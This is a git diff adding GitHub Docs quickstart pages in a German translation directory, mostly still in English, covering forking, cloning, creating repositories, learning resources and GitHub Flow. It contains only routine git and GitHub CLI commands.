+{% webui %}
+
+1. On {% data variables.product.product_name %}, navigate to **your fork** of the Spoon-Knife repository.
+{% data reusables.repositories.copy-clone-url %}
+{% data reusables.command_line.open_the_multi_os_terminal %}
+{% data reusables.command_line.change-current-directory-clone %}
+4. Type `git clone`, and then paste the URL you copied earlier. It will look like this, with your {% data variables.product.product_name %} username instead of `YOUR-USERNAME`:
+  ```shell
+  $ git clone https://{% data variables.command_line.codeblock %}/YOUR-USERNAME/Spoon-Knife
+  ```
+
+5. Press **Enter**. Your local clone will be created.
+  ```shell
+  $ git clone https://{% data variables.command_line.codeblock %}/YOUR-USERNAME/Spoon-Knife
+  > Cloning into `Spoon-Knife`...
+  > remote: Counting objects: 10, done.
+  > remote: Compressing objects: 100% (8/8), done.
+  > remove: Total 10 (delta 1), reused 10 (delta 1)
+  > Unpacking objects: 100% (10/10), done.
+  ```
+
+{% endwebui %}
+
+{% cli %}
+
+{% data reusables.cli.cli-learn-more %}
+
+To create a clone of your fork, use the `--clone` flag.
+
+```shell
+gh repo fork REPOSITORY --clone=true
+```
+
+{% endcli %}
+
+{% desktop %}
+
+{% data reusables.desktop.choose-clone-repository %}
+{% data reusables.desktop.cloning-location-tab %}
+{% data reusables.desktop.cloning-repository-list %}
+{% data reusables.desktop.choose-local-path %}
+{% data reusables.desktop.click-clone %}
+
+{% enddesktop %}
+
+## Creating a branch to work on
+
+Before making changes to the project, you should create a new branch and check it out. By keeping changes in their own branch, you follow GitHub Flow and ensure that it will be easier to contribute to the same project again in the future. For more information, see "[GitHub Flow](/get-started/quickstart/github-flow#following-github-flow)."
+
+{% webui %}
+
+```shell
+git branch BRANCH-NAME
+git checkout BRANCH-NAME
+```
+
+{% endwebui %}
+
+{% cli %}
+
+```shell
+git branch BRANCH-NAME
+git checkout BRANCH-NAME
+```
+
+{% endcli %}
+
+{% desktop %}
+
+For more information about how to create and manage branches in {% data variables.product.prodname_desktop %}, see "[Managing branches](/desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/managing-branches)."
+
+{% enddesktop %}
+
+## Making and pushing changes
+
+Go ahead and make a few changes to the project using your favorite text editor, like [Visual Studio Code](https://code.visualstudio.com). You could, for example, change the text in `index.html` to add your GitHub username.
+
+When you're ready to submit your changes, stage and commit your changes. `git add .` tells Git that you want to include all of your changes in the next commit. `git commit` takes a snapshot of those changes.
+
+{% webui %}
+
+```shell
+git add .
+git commit -m "a short description of the change"
+```
+
+{% endwebui %}
+
+{% cli %}
+
+```shell
+git add .
+git commit -m "a short description of the change"
+```
+
+{% endcli %}
+
+{% desktop %}
+
+For more information about how to stage and commit changes in {% data variables.product.prodname_desktop %}, see "[Committing and reviewing changes to your project](/desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/committing-and-reviewing-changes-to-your-project#selecting-changes-to-include-in-a-commit)."
+
+{% enddesktop %}
+
+When you stage and commit files, you essentially tell Git, "Okay, take a snapshot of my changes!" You can continue to make more changes, and take more commit snapshots.
+
+Right now, your changes only exist locally. When you're ready to push your changes up to {% data variables.product.product_name %}, push your changes to the remote.
+
+{% webui %}
+
+```shell
+git push
+```
+
+{% endwebui %}
+
+{% cli %}
+
+```shell
+git push
+```
+
+{% endcli %}
+
+{% desktop %}
+
+For more information about how to push changes in {% data variables.product.prodname_desktop %}, see "[Pushing changes to GitHub](/desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/pushing-changes-to-github)."
+
+{% enddesktop %}
+
+## Making a pull request
+
+At last, you're ready to propose changes into the main project! This is the final step in producing a fork of someone else's project, and arguably the most important. If you've made a change that you feel would benefit the community as a whole, you should definitely consider contributing back.
+
+To do so, head on over to the repository on {% data variables.product.product_name %} where your project lives. For this example, it would be at `https://github.com/<your_username>/Spoon-Knife`. You'll see a banner indicating that your branch is one commit ahead of `octocat:main`. Click **Contribute** and then **Open a pull request**.
+
+{% data variables.product.product_name %} will bring you to a page that shows the differences between your fork and the `octocat/Spoon-Knife` repository. Click **Create pull request**.
+
+{% data variables.product.product_name %} will bring you to a page where you can enter a title and a description of your changes. It's important to provide as much useful information and a rationale for why you're making this pull request in the first place. The project owner needs to be able to determine whether your change is as useful to everyone as you think it is. Finally, click **Create pull request**.
+
+## Managing feedback
+
+Pull Requests are an area for discussion. In this case, the Octocat is very busy, and probably won't merge your changes. For other projects, don't be offended if the project owner rejects your pull request, or asks for more information on why it's been made. It may even be that the project owner chooses not to merge your pull request, and that's totally okay. Your copy will exist in infamy on the Internet. And who knows--maybe someone you've never met will find your changes much more valuable than the original project.
+
+## Finding projects
+
+You've successfully forked and contributed back to a repository. Go forth, and
+contribute some more!{% ifversion fpt %} For more information, see "[Finding ways to contribute to open source on GitHub](/get-started/exploring-projects-on-github/finding-ways-to-contribute-to-open-source-on-github)."{% endif %}
diff --git a/translations/de-DE/content/get-started/quickstart/create-a-repo.md b/translations/de-DE/content/get-started/quickstart/create-a-repo.md
new file mode 100644
index 0000000000..06048bb4fd
--- /dev/null
+++ b/translations/de-DE/content/get-started/quickstart/create-a-repo.md
@@ -0,0 +1,148 @@
+---
+title: Create a repo
+redirect_from:
+  - /create-a-repo
+  - /articles/create-a-repo
+  - /github/getting-started-with-github/create-a-repo
+  - /github/getting-started-with-github/quickstart/create-a-repo
+intro: 'To put your project up on {% data variables.product.prodname_dotcom %}, you will need to create a repository for it to live in.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Pull requests
+  - Issues
+  - Notifications
+  - Accounts
+---
+## Create a repository
+
+{% ifversion fpt or ghec %}
+
+You can store a variety of projects in {% data variables.product.prodname_dotcom %} repositories, including open source projects. With open source projects, you can share code to make better, more reliable software. You can use repositories to collaborate with others and track your work. For more information, see "[About repositories](/github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/about-repositories)." To learn more about open source projects, visit [OpenSource.org](https://opensource.org/about).
+
+{% elsif ghes or ghae %}
+
+You can store a variety of projects in {% data variables.product.product_name %} repositories, including innersource projects. With innersource, you can share code to make better, more reliable software. For more information on innersource, see {% data variables.product.company_short %}'s white paper "[An introduction to innersource](https://resources.github.com/whitepapers/introduction-to-innersource/)."
+
+{% endif %}
+
+{% ifversion fpt or ghec %}
+
+{% note %}
+
+**Notes:** 
+- You can create public repositories for an open source project. When creating your public repository, make sure to include a [license file](https://choosealicense.com/) that determines how you want your project to be shared with others. {% data reusables.open-source.open-source-guide-repositories %} 
+- {% data reusables.open-source.open-source-learning %} 
+- You can also add community health files to your repositories, to set guidelines on how to contribute, keep your repositories safe, and much more. For more information, see "[Creating a default community health file](/communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file)." 
+
+{% endnote %}
+
+{% endif %}
+
+{% webui %}
+
+{% data reusables.repositories.create_new %}
+2. Type a short, memorable name for your repository. For example, "hello-world".
+  ![Field for entering a repository name](/assets/images/help/repository/create-repository-name.png)
+3. Optionally, add a description of your repository. For example, "My first repository on {% data variables.product.product_name %}."
+  ![Field for entering a repository description](/assets/images/help/repository/create-repository-desc.png)
+{% data reusables.repositories.choose-repo-visibility %}
+{% data reusables.repositories.initialize-with-readme %}
+{% data reusables.repositories.create-repo %}
+
+Congratulations! You've successfully created your first repository, and initialized it with a *README* file.
+
+{% endwebui %}
+
+{% cli %}
+
+{% data reusables.cli.cli-learn-more %}
+
+1. In the command line, navigate to the directory where you would like to create a local clone of your new project.
+2. To create a repository for your project, use the `gh repo create` subcommand. When prompted, select **Create a new repository on GitHub from scratch** and enter the name of your new project. If you want your project to belong to an organization instead of to your personal account, specify the organization name and project name with `organization-name/project-name`. 
+3. Follow the interactive prompts. To clone the repository locally, confirm yes when asked if you would like to clone the remote project directory.  
+4. Alternatively, to skip the prompts supply the repository name and a visibility flag (`--public`, `--private`, or `--internal`). For example, `gh repo create project-name --public`. To clone the repository locally, pass the `--clone` flag.  For more information about possible arguments, see the [GitHub CLI manual](https://cli.github.com/manual/gh_repo_create).
+
+{% endcli %}
+
+## Commit your first change
+
+{% webui %}
+
+A *[commit](/articles/github-glossary#commit)* is like a snapshot of all the files in your project at a particular point in time.
+
+When you created your new repository, you initialized it with a *README* file. *README* files are a great place to describe your project in more detail, or add some documentation such as how to install or use your project. The contents of your *README* file are automatically shown on the front page of your repository.
+
+Let's commit a change to the *README* file.
+
+1. In your repository's list of files, click ***README.md***.
+  ![README file in file list](/assets/images/help/repository/create-commit-open-readme.png)
+2. Above the file's content, click {% octicon "pencil" aria-label="The edit icon" %}.
+3. On the **Edit file** tab, type some information about yourself.
+  ![New content in file](/assets/images/help/repository/edit-readme-light.png)
+{% data reusables.files.preview_change %}
+5. Review the changes you made to the file. You will see the new content in green.
+  ![File preview view](/assets/images/help/repository/create-commit-review.png)
+{% data reusables.files.write_commit_message %}
+{% data reusables.files.choose_commit_branch %}
+{% data reusables.files.propose_file_change %}
+
+{% endwebui %}
+
+{% cli %}
+
+Now that you have created a project, you can start committing changes.
+
+*README* files are a great place to describe your project in more detail, or add some documentation such as how to install or use your project. The contents of your *README* file are automatically shown on the front page of your repository. Follow these steps to add a *README* file.
+
+1. In the command line, navigate to the root directory of your new project. (This directory was created when you ran the `gh repo create` command.)
+1. Create a *README* file with some information about the project.
+
+    ```shell
+    echo "info about this project" >> README.md
+    ```
+
+1. Enter `git status`. You will see that you have an untracked `README.md` file.
+
+    ```shell
+    $ git status
+
+    Untracked files:
+      (use "git add <file>..." to include in what will be committed)
+      README.md
+
+    nothing added to commit but untracked files present (use "git add" to track)
+    ```
+
+1. Stage and commit the file.
+
+    ```shell
+    git add README.md && git commit -m "Add README"
+    ```
+
+1. Push the changes to your branch.
+
+    ```shell
+    git push --set-upstream origin HEAD
+    ```
+
+{% endcli %}
+
+## Next steps
+
+You have now created a repository, including a *README* file, and created your first commit on {% data variables.location.product_location %}.
+
+{% webui %}
+
+* You can now clone a {% data variables.product.prodname_dotcom %} repository to create a local copy on your computer. From your local repository you can commit, and create a pull request to update the changes in the upstream repository. For more information, see "[Cloning a repository](/github/creating-cloning-and-archiving-repositories/cloning-a-repository)" and "[Set up Git](/articles/set-up-git)."
+
+{% endwebui %}
+
+* You can find interesting projects and repositories on {% data variables.product.prodname_dotcom %} and make changes to them by creating a fork of the repository. {% data reusables.getting-started.fork-a-repository %}
+
+* {% data reusables.getting-started.being-social %}
+
+* {% data reusables.support.connect-in-the-forum-bootcamp %}
diff --git a/translations/de-DE/content/get-started/quickstart/fork-a-repo.md b/translations/de-DE/content/get-started/quickstart/fork-a-repo.md
new file mode 100644
index 0000000000..a8107f1dd2
--- /dev/null
+++ b/translations/de-DE/content/get-started/quickstart/fork-a-repo.md
@@ -0,0 +1,230 @@
+---
+title: Fork a repo
+redirect_from:
+  - /fork-a-repo
+  - /forking
+  - /articles/fork-a-repo
+  - /github/getting-started-with-github/fork-a-repo
+  - /github/getting-started-with-github/quickstart/fork-a-repo
+intro: A fork is a copy of a repository. Forking a repository allows you to freely experiment with changes without affecting the original project.
+permissions: '{% data reusables.enterprise-accounts.emu-permission-fork %}'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Pull requests
+  - Issues
+  - Notifications
+  - Accounts
+---
+## About forks
+
+Most commonly, forks are used to either propose changes to someone else's project to which you do not have write access, or to use someone else's project as a starting point for your own idea. You can fork a repository to create a copy of the repository and make changes without affecting the upstream repository. For more information, see "[Working with forks](/github/collaborating-with-issues-and-pull-requests/working-with-forks)."
+
+### Propose changes to someone else's project
+
+For example, you can use forks to propose changes related to fixing a bug. Rather than logging an issue for a bug you have found, you can:
+
+- Fork the repository.
+- Make the fix.
+- Submit a pull request to the project owner.
+
+### Use someone else's project as a starting point for your own idea.
+
+Open source software is based on the idea that by sharing code, we can make better, more reliable software. For more information, see the "[About the Open Source Initiative](https://opensource.org/about)" on the Open Source Initiative.
+
+For more information about applying open source principles to your organization's development work on {% data variables.location.product_location %}, see {% data variables.product.prodname_dotcom %}'s white paper "[An introduction to innersource](https://resources.github.com/whitepapers/introduction-to-innersource/)."
+
+{% ifversion fpt or ghes or ghec %}
+
+When creating your public repository from a fork of someone's project, make sure to include a license file that determines how you want your project to be shared with others. For more information, see "[Choose an open source license](https://choosealicense.com/)" at choosealicense.com.
+
+{% data reusables.open-source.open-source-guide-repositories %} {% data reusables.open-source.open-source-learning %}
+
+{% endif %}
+
+## Prerequisites
+
+If you have not yet, you should first [set up Git](/articles/set-up-git). Don't forget to [set up authentication to {% data variables.location.product_location %} from Git](/articles/set-up-git#next-steps-authenticating-with-github-from-git) as well.
+
+## Forking a repository
+
+{% webui %}
+
+You might fork a project to propose changes to the upstream, or original, repository. In this case, it's good practice to regularly sync your fork with the upstream repository. To do this, you'll need to use Git on the command line. You can practice setting the upstream repository using the same [octocat/Spoon-Knife](https://github.com/octocat/Spoon-Knife) repository you just forked.
+
+1. On {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom_the_website %}{% else %}{% data variables.location.product_location %}{% endif %}, navigate to the [octocat/Spoon-Knife](https://github.com/octocat/Spoon-Knife) repository.
+2. In the top-right corner of the page, click **Fork**.
+   ![Fork button](/assets/images/help/repository/fork_button.png){% ifversion fpt or ghec or ghes > 3.5 or ghae > 3.5 %}
+3. Select an owner for the forked repository.
+   ![Create a new fork page with owner dropdown emphasized](/assets/images/help/repository/fork-choose-owner.png)
+4. By default, forks are named the same as their parent repositories. You can change the name of the fork to distinguish it further. 
+   ![Create a new fork page with repository name field emphasized](/assets/images/help/repository/fork-choose-repo-name.png)
+5. Optionally, add a description of your fork.
+   ![Create a new fork page with description field emphasized](/assets/images/help/repository/fork-description.png)
+6. Choose whether to copy only the default branch or all branches to the new fork. For many forking scenarios, such as contributing to open-source projects, you only need to copy the default branch. By default, only the default branch is copied.
+   ![Option to copy only the default branch](/assets/images/help/repository/copy-default-branch-only.png)
+7. Click **Create fork**.
+   ![Emphasized create fork button](/assets/images/help/repository/fork-create-button.png)
+
+
+{% note %}
+
+**Note:** If you want to copy additional branches from the parent repository, you can do so from the **Branches** page. For more information, see "[Creating and deleting branches within your repository](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-and-deleting-branches-within-your-repository)."{% endnote %}{% endif %}
+
+{% endwebui %}
+
+{% cli %}
+
+{% data reusables.cli.cli-learn-more %}
+
+To create a fork of a repository, use the `gh repo fork` subcommand.
+
+```shell
+gh repo fork REPOSITORY
+```
+
+To create the fork in an organization, use the `--org` flag.
+
+```shell
+gh repo fork REPOSITORY --org "octo-org"
+```
+
+{% endcli %}
+
+{% desktop %}
+{% enddesktop %}
+
+## Cloning your forked repository
+
+Right now, you have a fork of the Spoon-Knife repository, but you do not have the files in that repository locally on your computer.
+
+{% webui %}
+
+1. On {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom_the_website %}{% else %}{% data variables.location.product_location %}{% endif %}, navigate to **your fork** of the Spoon-Knife repository.
+{% data reusables.repositories.copy-clone-url %}
+{% data reusables.command_line.open_the_multi_os_terminal %}
+{% data reusables.command_line.change-current-directory-clone %}
+4. Type `git clone`, and then paste the URL you copied earlier. It will look like this, with your {% data variables.product.product_name %} username instead of `YOUR-USERNAME`:
+  ```shell
+  $ git clone https://{% data variables.command_line.codeblock %}/YOUR-USERNAME/Spoon-Knife
+  ```
+
+5. Press **Enter**. Your local clone will be created.
+  ```shell
+  $ git clone https://{% data variables.command_line.codeblock %}/YOUR-USERNAME/Spoon-Knife
+  > Cloning into `Spoon-Knife`...
+  > remote: Counting objects: 10, done.
+  > remote: Compressing objects: 100% (8/8), done.
+  > remote: Total 10 (delta 1), reused 10 (delta 1)
+  > Unpacking objects: 100% (10/10), done.
+  ```
+
+{% endwebui %}
+
+{% cli %}
+
+{% data reusables.cli.cli-learn-more %}
+
+To create a clone of your fork, use the `--clone` flag.
+
+```shell
+gh repo fork REPOSITORY --clone=true
+```
+
+{% endcli %}
+
+{% desktop %}
+
+{% data reusables.desktop.choose-clone-repository %}
+{% data reusables.desktop.cloning-location-tab %}
+{% data reusables.desktop.cloning-repository-list %}
+{% data reusables.desktop.choose-local-path %}
+{% data reusables.desktop.click-clone %}
+
+{% enddesktop %}
+
+## Configuring Git to sync your fork with the original repository
+
+When you fork a project in order to propose changes to the original repository, you can configure Git to pull changes from the original, or upstream, repository into the local clone of your fork.
+
+{% webui %}
+
+1. On {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom_the_website %}{% else %}{% data variables.location.product_location %}{% endif %}, navigate to the [octocat/Spoon-Knife](https://github.com/octocat/Spoon-Knife) repository.
+{% data reusables.repositories.copy-clone-url %}
+{% data reusables.command_line.open_the_multi_os_terminal %}
+4. Change directories to the location of the fork you cloned.
+    - To go to your home directory, type just `cd` with no other text.
+    - To list the files and folders in your current directory, type `ls`.
+    - To go into one of your listed directories, type `cd your_listed_directory`.
+    - To go up one directory, type `cd ..`.
+5. Type `git remote -v` and press **Enter**. You will see the current configured remote repository for your fork.
+  ```shell
+  $ git remote -v
+  > origin  https://{% data variables.command_line.codeblock %}/YOUR_USERNAME/YOUR_FORK.git (fetch)
+  > origin  https://{% data variables.command_line.codeblock %}/YOUR_USERNAME/YOUR_FORK.git (push)
+  ```
+
+6. Type `git remote add upstream`, and then paste the URL you copied in Step 3 and press **Enter**. It will look like this:
+  ```shell
+  $ git remote add upstream https://{% data variables.command_line.codeblock %}/ORIGINAL_OWNER/Spoon-Knife.git
+  ```
+
+7. To verify the new upstream repository you have specified for your fork, type `git remote -v` again. You should see the URL for your fork as `origin`, and the URL for the original repository as `upstream`.
+  ```shell
+  $ git remote -v
+  > origin    https://{% data variables.command_line.codeblock %}/YOUR_USERNAME/ YOUR_FORK</em>.git (fetch)
+  > origin    https://{% data variables.command_line.codeblock %}/YOUR_USERNAME/YOUR_FORK.git (push)
+  > upstream  https://{% data variables.command_line.codeblock %}/ORIGINAL_OWNER/ ORIGINAL_REPOSITORY.git (fetch)
+  > upstream  https://{% data variables.command_line.codeblock %}/ORIGINAL_OWNER/ ORIGINAL_REPOSITORY.git (push)
+  ```
+
+Now, you can keep your fork synced with the upstream repository with a few Git commands. For more information, see "[Syncing a fork](/pull-requests/collaborating-with-pull-requests/working-with-forks/syncing-a-fork)."
+
+{% endwebui %}
+
+{% cli %}
+
+{% data reusables.cli.cli-learn-more %}
+
+To configure a remote repository for the forked repository, use the `--remote` flag.
+
+```shell
+gh repo fork REPOSITORY --remote=true
+```
+
+To specify the remote repository's name, use the `--remote-name` flag.
+
+```shell
+gh repo fork REPOSITORY --remote-name "main-remote-repo"
+```
+
+{% endcli %}
+
+### Editing a fork
+
+You can make any changes to a fork, including:
+
+- **Creating branches:** [*Branches*](/articles/creating-and-deleting-branches-within-your-repository/) allow you to build new features or test out ideas without putting your main project at risk.
+- **Opening pull requests:** If you are hoping to contribute back to the original repository, you can send a request to the original author to pull your fork into their repository by submitting a [pull request](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests).
+
+## Find another repository to fork
+Fork a repository to start contributing to a project. {% data reusables.repositories.you-can-fork %}
+
+{% ifversion fpt or ghec %}You can browse [Explore](https://github.com/explore) to find projects and start contributing to open source repositories. For more information, see "[Finding ways to contribute to open source on {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/finding-ways-to-contribute-to-open-source-on-github)."
+
+{% endif %}
+
+## Next Steps
+
+You have now forked a repository, practiced cloning your fork, and configured an upstream repository.
+
+* For more information about cloning the fork and syncing the changes in a forked repository from your computer, see "[Set up Git](/articles/set-up-git)."
+
+* You can also create a new repository where you can put all your projects and share the code on {% data variables.product.prodname_dotcom %}. {% data reusables.getting-started.create-a-repository %}"
+
+* {% data reusables.getting-started.being-social %}
+
+* {% data reusables.support.connect-in-the-forum-bootcamp %}
diff --git a/translations/de-DE/content/get-started/quickstart/git-and-github-learning-resources.md b/translations/de-DE/content/get-started/quickstart/git-and-github-learning-resources.md
new file mode 100644
index 0000000000..a4f544484c
--- /dev/null
+++ b/translations/de-DE/content/get-started/quickstart/git-and-github-learning-resources.md
@@ -0,0 +1,63 @@
+---
+title: Git and GitHub learning resources
+redirect_from:
+  - /articles/good-resources-for-learning-git-and-github
+  - /articles/what-are-other-good-resources-for-learning-git-and-github
+  - /articles/git-and-github-learning-resources
+  - /github/getting-started-with-github/git-and-github-learning-resources
+  - /github/getting-started-with-github/quickstart/git-and-github-learning-resources
+intro: 'There are a lot of helpful Git and {% data variables.product.product_name %} resources on the web. This is a short list of our favorites!'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+authors:
+  - GitHub
+shortTitle: Learning resources
+---
+## Using Git
+
+Familiarize yourself with Git by visiting the [official Git project site](https://git-scm.com) and reading the [ProGit book](http://git-scm.com/book). You can also review the [Git command list](https://git-scm.com/docs).
+
+## Using {% data variables.product.product_name %}
+
+{% ifversion fpt or ghec %}
+
+{% data variables.product.prodname_learning %} offers free interactive courses that are built into {% data variables.product.prodname_dotcom %} with instant automated feedback and help. Learn to open your first pull request, make your first open source contribution, create a {% data variables.product.prodname_pages %} site, and more. For more information about course offerings, see [{% data variables.product.prodname_learning %}]({% data variables.product.prodname_learning_link %}).
+
+{% endif %}
+
+Become better acquainted with {% data variables.product.product_name %} through our [getting started](/categories/getting-started-with-github/) articles. See our [{% data variables.product.prodname_dotcom %} flow](https://guides.github.com/introduction/flow) for a process introduction. Refer to our [overview guides](https://guides.github.com) to walk through basic concepts.
+
+{% data reusables.support.ask-and-answer-forum %}
+
+### Branches, forks, and pull requests
+
+Learn about [Git branching](http://learngitbranching.js.org/) using an interactive tool. Read about [forks](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks) and [pull requests](/articles/using-pull-requests) as well as [how we use pull requests](https://github.com/blog/1124-how-we-use-pull-requests-to-build-github) at {% data variables.product.prodname_dotcom %}. Access references about using {% data variables.product.prodname_dotcom %} from the [command line](https://cli.github.com/).
+
+### Tune in
+
+Our {% data variables.product.prodname_dotcom %} [YouTube Training and Guides channel](https://youtube.com/githubguides) offers tutorials about [pull requests](https://www.youtube.com/watch?v=d5wpJ5VimSU&list=PLg7s6cbtAD15G8lNyoaYDuKZSKyJrgwB-&index=19), [forking](https://www.youtube.com/watch?v=5oJHRbqEofs), [rebase](https://www.youtube.com/watch?v=SxzjZtJwOgo&list=PLg7s6cbtAD15G8lNyoaYDuKZSKyJrgwB-&index=22), and [reset](https://www.youtube.com/watch?v=BKPjPMVB81g) functions. Each topic is covered in 5 minutes or less.
+
+## Training
+
+### Free courses
+
+{% data variables.product.product_name %} offers a series of interactive, [on-demand training courses](https://skills.github.com/) including [Introduction to {% data variables.product.prodname_dotcom %}](https://github.com/skills/introduction-to-github); and courses on {% data variables.product.product_name %} specific tools such as {% data variables.product.prodname_actions %}.
+
+### {% data variables.product.prodname_dotcom %}'s web-based educational programs
+
+{% data variables.product.prodname_dotcom %} offers live [trainings](https://services.github.com/#upcoming-events) with a hands-on, project-based approach for those who love the command line and those who don't.
+
+### Training for your company
+
+{% data variables.product.prodname_dotcom %} offers [in-person classes](https://services.github.com/#offerings) taught by our highly-experienced educators. [Contact us](https://services.github.com/#contact) to ask your training-related questions.
+
+## Extras
+
+An interactive [online Git course](https://www.pluralsight.com/courses/code-school-git-real) from [Pluralsight](https://www.pluralsight.com/codeschool) has seven levels with dozens of exercises in a fun game format. Feel free to adapt our [.gitignore templates](https://github.com/github/gitignore) to meet your needs.
+
+Extend your {% data variables.product.prodname_dotcom %} reach through {% ifversion fpt or ghec %}[integrations](/articles/about-integrations){% else %}integrations{% endif %}, or by installing [{% data variables.product.prodname_desktop %}](https://desktop.github.com) and the robust [{% data variables.product.prodname_vscode %}](https://code.visualstudio.com/) text editor.
+
+Learn how to launch and grow your open source project with the [Open Source Guides](https://opensource.guide/).
diff --git a/translations/de-DE/content/get-started/quickstart/git-cheatsheet.md b/translations/de-DE/content/get-started/quickstart/git-cheatsheet.md
new file mode 100644
index 0000000000..c76219d734
--- /dev/null
+++ b/translations/de-DE/content/get-started/quickstart/git-cheatsheet.md
@@ -0,0 +1,22 @@
+---
+title: Git-Spickzettel
+redirect_from:
+  - /articles/git-cheatsheet
+  - /github/getting-started-with-github/git-cheatsheet
+  - /github/getting-started-with-github/quickstart/git-cheatsheet
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+intro: 'Dieser Git-Spickzettel hilft dir, Zeit zu sparen, wenn du einen Befehl vergessen hast oder die Hilfe in der CLI nicht nutzen möchtest.'
+ms.openlocfilehash: 34c3bab9a8c38313cb82a1700f4e7cb27fbbc10c
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145125881'
+---
+Alle verfügbaren Git-Befehle auf einmal zu lernen ist eine Herausforderung. Mit „[Git-Spickzetteln](https://training.github.com/)“ erhältst du eine Kurzübersicht über häufig verwendete Befehle. Der Spickzettel zur Verwendung von Git ist in mehreren Sprachen verfügbar. 
+
+Schau dir außerdem unsere Seite mit [Git- und GitHub-Lerninhalten](/articles/git-and-github-learning-resources/) an, die Links zu Leitfäden, Videos und mehr enthält.
diff --git a/translations/de-DE/content/get-started/quickstart/github-flow.md b/translations/de-DE/content/get-started/quickstart/github-flow.md
new file mode 100644
index 0000000000..a81548956c
--- /dev/null
+++ b/translations/de-DE/content/get-started/quickstart/github-flow.md
@@ -0,0 +1,105 @@
+---
+title: GitHub-Flow
+intro: 'Befolge den {% data variables.product.prodname_dotcom %}-Ablauf, um an Projekten zusammenzuarbeiten.'
+redirect_from:
+  - /articles/creating-and-editing-files-in-your-repository
+  - /articles/github-flow-in-the-browser
+  - /articles/github-flow
+  - /github/collaborating-with-issues-and-pull-requests/github-flow
+  - /github/getting-started-with-github/github-flow
+  - /github/getting-started-with-github/quickstart/github-flow
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Pull requests
+  - Fundamentals
+miniTocMaxHeadingLevel: 3
+ms.openlocfilehash: 5458d7b14ff59bf7059f093ee47ee92034b9319f
+ms.sourcegitcommit: 505b84dc7227e8a5d518a71eb5c7eaa65b38ce0e
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: '147876942'
+---
+## Einführung
+
+{% data variables.product.prodname_dotcom %}-Flow ist ein schlanker, branchbasierter Workflow. Der {% data variables.product.prodname_dotcom %}-Flow ist für alle Benutzer von Vorteil, nicht nur für Entwickler. Hier bei {% data variables.product.prodname_dotcom %} nutzen wir den {% data variables.product.prodname_dotcom %}-Flow zum Beispiel für unsere [Standortrichtlinie](https://github.com/github/site-policy), [Dokumentation](https://github.com/github/docs) und [Roadmap](https://github.com/github/roadmap).
+
+## Voraussetzungen
+
+Um dem {% data variables.product.prodname_dotcom %}-Flow zu folgen, benötigst du ein {% data variables.product.prodname_dotcom %}-Konto und ein Repository. Informationen zum Erstellen eines Kontos findest du unter [Registrierung für {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/signing-up-for-github). Wie du ein Repository erstellst, erfährst du unter [Erstellen eines Repositorys](/github/getting-started-with-github/create-a-repo).{% ifversion fpt or ghec %} Informationen zur Suche nach einem vorhandenen Projektarchiv, zu dem du beitragen kannst, findest du unter [Beitragen zu Open-Source-Projekten auf {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/finding-ways-to-contribute-to-open-source-on-github).{% endif %}
+
+## Durchlaufen des {% data variables.product.prodname_dotcom %}-Flows
+
+{% tip %}
+
+{% ifversion fpt or ghec %} **Tipp:** Du kannst alle Schritte des {% data variables.product.prodname_dotcom %}-Flows über die {% data variables.product.prodname_dotcom %}-Weboberfläche, Befehlszeile und [{% data variables.product.prodname_cli %}](https://cli.github.com) oder über [{% data variables.product.prodname_desktop %}](/free-pro-team@latest/desktop) ausführen.
+{% else %} **Tipp:** Du kannst alle Schritte des {% data variables.product.prodname_dotcom %}-Flows über die {% data variables.product.prodname_dotcom %}-Weboberfläche oder über die Befehlszeile und die [{% data variables.product.prodname_cli %}](https://cli.github.com) ausführen.
+{% endif %}
+
+{% endtip %}
+
+### Erstellen einer Verzweigung
+
+  Erstelle einen Branch in deinem Repository. Ein kurzer, beschreibender Branchname ermöglicht es den Projektmitarbeitern, sich auf einen Blick über die laufenden Arbeiten zu informieren. Zum Beispiel: `increase-test-timeout` oder `add-code-of-conduct`. Weitere Informationen findest du unter [Erstellen und Löschen von Branches innerhalb deines Repositorys](/github/collaborating-with-issues-and-pull-requests/creating-and-deleting-branches-within-your-repository).
+
+  Indem du einen Branch erstellst, schaffst du einen Raum zum Arbeiten, ohne den Standardbranch zu beeinflussen. Außerdem gibst du den Projektmitarbeitern die Möglichkeit, deine Arbeit zu überprüfen.
+
+### Vornehmen von Änderungen
+
+In deinem Branch kannst du alle gewünschten Änderungen am Repository vornehmen. Weitere Informationen findest du unter [Erstellen neuer Dateien](/articles/creating-new-files), [Bearbeiten von Dateien](/articles/editing-files), [Umbenennen einer Datei](/articles/renaming-a-file), [Verschieben einer Datei an einen neuen Speicherort](/articles/moving-a-file-to-a-new-location) oder [Löschen von Dateien in einem Repository](/github/managing-files-in-a-repository/deleting-files-in-a-repository).
+
+Dein Branch ist ein sicherer Ort, um Änderungen vorzunehmen. Wenn du einen Fehler machst, kannst du deine Änderungen rückgängig machen oder zusätzliche Änderungen vornehmen, um den Fehler zu korrigieren. Deine Änderungen werden erst dann in den Standardbranch übernommen, wenn du deinen Branch mergst.
+
